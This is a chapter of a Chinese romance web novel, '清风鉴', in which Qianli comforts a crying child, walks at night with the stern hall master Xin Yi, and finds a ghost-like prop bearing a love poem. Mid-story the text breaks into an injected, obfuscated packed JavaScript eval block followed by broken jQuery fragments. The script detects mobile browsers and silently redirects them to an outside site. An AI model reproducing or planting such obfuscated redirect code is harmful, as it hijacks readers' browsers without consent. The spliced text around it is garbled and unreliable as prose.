76. 相思乱
作品:《清风鉴》 仟离蓦地叹了口气,顺势带她坐在了一旁的石阶上,耐心给她解释:“因为我要去找几样很重要的东西,你知道吗,外面有的地方虎狼特别多,动不动就要生气吃人,万一我一不小心,被哪只老虎哪群狼咯吱咯吱吃掉了,我还怎么来这?”
青黛抽抽搭搭地问:“你为什么一定要去有虎狼的地方?”
仟离认真地回答:“嗯......因为我要找的东西在有虎狼的地方,你想,你要跟老虎抢东西,老虎能不生气吗?”
“所以你会死吗?”青黛哽咽着问。
仟离诚实地回答:“也许吧。不过也说不好,我觉得自己还挺厉害的。”
她转头看着青黛这个小姑娘,豆大的珠子瞬间就从她白净的小脸上滚了下来,一时间自己倒有些手足无措。
除了到无忧谷看病的病人有孩子外,仟离算是无忧谷最小的师妹,日常受了委屈都是师兄师姐哄她安慰她,她若反过来安慰师兄师姐也是插科打诨、撒娇撒痴的路子,面对着这么个小姑娘,她倒是有些寡言寡语。
成套的大道理说出来小姑娘也不懂,无外乎是对牛弹琴,可仟离又不想上嘴唇下嘴唇就这样简单一碰,就如此草率地答应一个对别人的承诺。
小孩子面前是最难做承诺的,因为你应下来的每一句话都会被他们牢牢记在心上,只怕要记上个很多年,万一实现不了,实在太伤那幼小的心灵。
仟离双手一边给她擦着眼泪,一边玩笑安慰:“哎呦哎呦——这么大的金豆子啊,能换多少钱?要不我拿这些金豆子去给你买些糖丸吃,好不好?”
青黛哼着气:“你是不是嫌我笨?”
“嘿——”仟离差点跳脚,“你这小姑娘,我还跟你说不明白了是不是?”
仟离牙一咬心一横,摆正她的身体,郑重地说道:“我明明白白跟你说,我不答应你呢,是因为我要做的事可能会死,所以我不想给了你承诺又没有遵守,让你觉得我骗了你,这下能理解我了吗?”
青黛一抹眼泪,起身跑走了。
没理解,白说了!
仟离独自坐在石阶上长长叹了口气。
“你安慰别人都是这样的?”身后有人冷不丁出声,“生生死死如此没忌讳地挂在嘴边?”
仟离腾地站起身,看着站在楼门口的人:“辛堂主,你什么时候在这的?”她叹道,“偷听别人说话可不是好习惯。”
辛夷脸不红心狂跳地说道:“我没有偷听你们说话,我是不想打扰你们说话。”
这有什么明显的区别么!
仟离睨着辛堂主没什么起伏的神色,心里上下打了一会鼓,迎着辛夷走下来的步伐,笑问:“辛堂主,昨日可在你书案上看见了什么东西,我有个东西是不是落在你那了?”
“什么东西?”辛夷道,“你那一沓子废纸不是都拿走了?”
废纸???
仟离咬牙切齿地微笑道:“的确是废纸,写了些没用的玩意,没有就算了,反正也不是什么重要的东西。”
仟离来银衣楼本意也是想去问辛夷一句,没想到在楼门口遇到,反正该问的话问完了,转身便要走,走了几步却发觉身后人突然站在那不动了,转过头看去,这人神色在夜色中又变得晦暗不明。
她好像有点明白为什么辛堂主能拔得银衣楼“冷面”的头筹了,这动不动就如此严肃的脾气也不知道是跟谁学的。
仟离:“你不回去休息吗?同路,一起走啊。”
辛夷木着脸,抬脚跟上去。
仟离悠闲自在,却不知旁边的辛堂主已是像刚在油锅里滚了一圈似的苦不堪言。
当然这种“苦”都是辛堂主自作自受。
辛堂主昨日刚刚下定决心要远离某人,今日一天也想着避她不见,他知道今日她要和石勒他们对阵,忍着没去观战,也选了个几乎不会碰到她的时间才出楼,没想到正在楼门口就遇见了。
本想径直退回去,听到她的话,脚上就像钉了钉子似的一步也不想动,鬼使神差的最后又先开了口。
辛夷心如乱麻,脑中两个小人打了许久的架,可就算打的昏天黑地、生死攸关,最后也抵不过某人的一句话,一句问话、一句笑话、一句冷不丁的天南海北都挨不着废话,都会让他脑中的刀光剑影迅速停下,继而认真听从别人的指令。
仟离心地好,也不跟这人故作计较,有一搭没一搭的聊着天。
“你还不知道吧,风师兄带人在南谷开了好大一个园子用来种药材,和无忧谷有的一比。”
“还有,我今日和石勒沈莳他们对阵,然后借着毒雾小小教训了他们一下。”
说到这好似终于出了一口在心中憋闷数日的浊气,连带着音调都不由拔高几分。
“我听说......”
辛夷打断她,平静地问:“为什么要教训他们?”
“还不是因为......”仟离突然停顿,差点咬到舌头。
难道说因为他们骗她去偷偷给他画像?
说完自己还能见到明日的太阳吗?
仟离灵活一转:“也不算教训啦,破阵交手免不了要受一点点伤嘛,这不是很正常的事么,但我可没害他们啊,你作为堂主听听就好,可不能挟私报复。”
辛夷:“......”
说得什么玩意!
两人正往客房寝院的方向走,突然前方迎着灯笼光亮跑过来三个人影,着急忙慌的像是被野狗追一样,定睛一看,竟然是沈莳、钟伶和戚幽莚三人。
双方几人几乎同时停住脚步,仟离看着对面气喘吁吁的三人,满脸疑问,三人看着对面两人,一脸愕然。
辛夷没好气地问道:“干什么?后边有鬼魂索命?”
仟离抱臂站在一旁看起笑话。
钟伶看向仟离,道:“刚刚青黛回去,哭天抹泪地说你快要......”她在辛夷利刃般的目光下生生止住了话音。
仟离哭笑不得:“这个小丫头,还真会掐头去尾的听话。”她看看对面三人带着身上点点斑斑的毒雾后遗症还能想着来“送她一程”,不知为何,还颇有些感动。
她两手一摊,道:“如你们所见,我很好,且活着呢,不用这么担心。”
三人不知道哪块脑子突然抽筋,听着青黛上气不接下气地断断续续的什么“不来了,要死了”几个字,就忙不迭地赶过来,结果不光闹了一场大乌龙,还顺带承接了一通辛堂主那看着活像要剐人的目光,真是哑巴吃黄连。
仟离本想着邀请三位吃了黄连的“哑巴”一同回去,谁知这三位连忙苦笑着摆手拒绝,穿过她往身后走去,此刻只想离这二位远一点。
“辛堂主,你这威严也太吓人了吧。”仟离玩笑道。
辛夷道:“没有你的话吓人。”
仟离:“......”
一句话就能将天聊死,简直没法沟通。
夜色渐重,漫天繁星触手可摘,路边照亮的灯笼被风吹得摇摇欲升仙。
仟离一边抬头望着夜星一边往回走,两人一路无话,不知是不是周围的夜色太浓,也不知是不是因为周边太过于安静,好像整条回去的路上只有他们二人。
仟离虽心轻神散,此时也不可避免地将飘散已久的神思集聚到身边这人身上。
不知为何,她脑中突然蹦出来昨日那女弟子跟辛夷说的话,而不偏不倚,正巧卡在那句“心上人”上面。
仟离觉得自己总是干些老牛反刍的事,都已经过去的事还要被她拿出来在脑海中过上一遍。
辛夷有心上人了?
怪不得他对自己的态度有点冷淡,为君子者身正端方,慎言敏行,此为君子之道,如此想来并无不妥,倒是她此前好像有点越过了身为朋友的“楚河汉界”。
只一想到这,她心里就好像被什么东西重重砸了一下,憋闷得难受,在她没注意到的片刻光景,自己身上的活泼劲已经瞬间颓下去了好几分。
突然,她脚上莫名被什么东西绊了一下,恍然失神之际又逢脚临横祸,饶是机灵如她也免不了要失力向前趴去,慌乱之间,辛夷伸手将她捞回来,紧急之下遇到援手,电光火石间,求生的本能让她紧紧攥住辛夷的胳膊。
两人瞬间靠近,微微喘了口气,还有一种劫后余生的后怕。
仟离在极速间反应过来后像突然被烫了一般往后退了一步,一系列动作发生的太快,这种几乎出自身体本能的抗拒让辛夷蓦地一怔,左手还维持着那个弯曲的弧度,臂上还有慌乱间紧攥的暖意,人却已经离他远去。
辛夷不知道自己那一刻在想什么,别人替他做出了躲避拒绝的事情后,他自己的心情好似也并不怎么好,反而有点酸胀。
仟离借着晦暗夜色很好地藏住自己尴尬,低头往回看到底是什么玩意想要谋害她,结果想要寻根溯源的脑袋一抬头,迎面一个白衣飘飘的“仙子”赫然出现。
仟离登时后脊漫上一层冷意,感觉满头的发顷刻间就炸了起来。
只因她自认为没做过什么大的亏心事,所以才没有跳起八丈高。
仟离:“这什么玩意?”
细细看来,眼前是一个被细线绑好的白纱外套,衣襟上面还固定着一些黑发,活像一个来讨命的惨死鬼。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380580|198200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
仟离上前一把将细线揽过来,此处虽是通向弟子寝院和客房的路,但并不是唯一一条路,想要在这条路上吓人,技术和想法都非常拙劣。
而且这东西本应藏在路边草丛里,那条扯着它的棍子不知是不是没放好而跑到路边,若不是仟离失神蹚到,这东西应该也飞不起来。
仟离攥着那件白纱衣,纱衣后好像还写着东西,翻过白纱衣,却见后面用十分豪放的“狂草”洋洋洒洒写了几句话。
仟离借着昏暗灯光瞪着眼睛看着那些字,心道:“小青爬出来的都比这个要好看。”
她一个个仔细辨认,这才一字一字喃喃读出来。
“相思无尽处,一枕高歌清梦,却想卿如花容颜在侧,夜涕泪,风来更欲甚;再言情既起,深深难再许,只得瞰透明月窥人语,念卿知我意,携素手,寄薄期。”
仟离一脸茫然地转头瞅着辛夷,问:“这什么意思?做春梦了?”
辛夷听着她一字字念出来时脸上早已是红一阵青一阵,听闻她的话,实在是如鲠在喉,有口难言。
仟离似乎对白纱衣上的这几句不是诗也不像词的东西态度平常,只是展开这件衣服,“啧啧”声不断,不是赞叹,而是颇有些看不上。
“表情意就表情意,却非要在这吓人的东西上写这种缠绵的话,到底是想让人看还是不想让人看。”她在一边旁若无人地嘟囔。
她见辛夷一直没说话,脸色有些冷漠,以为他是对于楼内弟子擅自弄这些东西而生气,竟然不甚在意地开导他。
“你们银衣楼有很多血气方刚的男子和美貌娇艳的女子,俗话说‘食色性也’,出现这种情情爱爱实在是正常不过,你也不必如此一脸严苛相待。你不是都......”
仟离突然觉得自己有点说脱口,硬生生止住话茬,希望辛堂主没听出来。
“还是把别人的‘相思’好好放回去,虽然这种表白不吓死人就是好的,但若都是有情人,还是希望他能成功。”
她一边嘀咕着一边将白纱衣完完整整安放回原位,将那木棍和细线也缠好放进了草丛内。
辛夷看着这女子小小年纪,明明自己还未尝过“情”之一字的酸甜苦辣,却偏偏摆出一副看透世间情爱的四大皆空,不禁觉得有些忍俊不禁。
“不过,”仟离安放好突如其来的吓人玩意,走到辛夷身边,“你作为堂主,也该为年轻弟子们多考虑考虑,如此思念难捱,到时候......”她声音低了两分,接着蹦出最后几个字“......对身体不好。”
辛夷:“......”
他想多了,他简直要被眼前人气死!
不过他没有接着她的话说,而是转头问:“‘你不是’什么?”
“嗯?”仟离疑惑,这没头没尾的什么意思。
辛夷:“你刚刚说,‘你不是’后面你本来想说什么?”
仟离内心欲哭无泪,心道:“戛然而止摆明就是不想说啊,你有没有点眼力劲,还在这问。难道要我说,‘你不是都有了心上人了么,就不要对弟子们如此严厉了,大家都互相理解’。”
说了这些,他会杀了她吧。
仟离苦笑道:“我就想说,你不是都坐上堂主位了吗,这种事也该设身处地的想想,是吧?”
辛夷:“设身处地?”
“......算了,你就当我什么都没说。”仟离叹道,“情爱一事无法控制无法解释,越描越黑,说不清道不明。总之,你今夜看到这个,明日若是知道是谁,也别太苛责他。”
辛夷一怔。
原来她心里也知道情爱一事无法控制、无法解释,不光越描越黑,还会越来越沉溺,直至被无情地淹没吞噬。
可是她,好像没有这种烦恼。
还有!
他是这么不近人情的人吗?
不知道她是不是最近总跟那几个崽子混,不知不觉间被那几砚浓墨浸黑了。
辛堂主当即擅自决定,以后一定让她离那几位远一点。
辛夷突然道:“过几日是花灯节,有些人会借此表达......情思。”
“怪不得这两日寨子内陆续挂起了各式各样的灯。”仟离瞬间回神,怒道:“......合着你都知道?那你还听我自己在那唠叨,看我笑话是么?”
辛夷:“你没问我。”
辛堂主莫名觉得有点委屈。
仟离根本不听,撂下一句“再见”闪身进了客房小院,徒留辛堂主一人在浓浓夜色中凌乱。
过了半晌,辛夷带着他自己内心乱如麻的思绪转身回了自己的寝院。

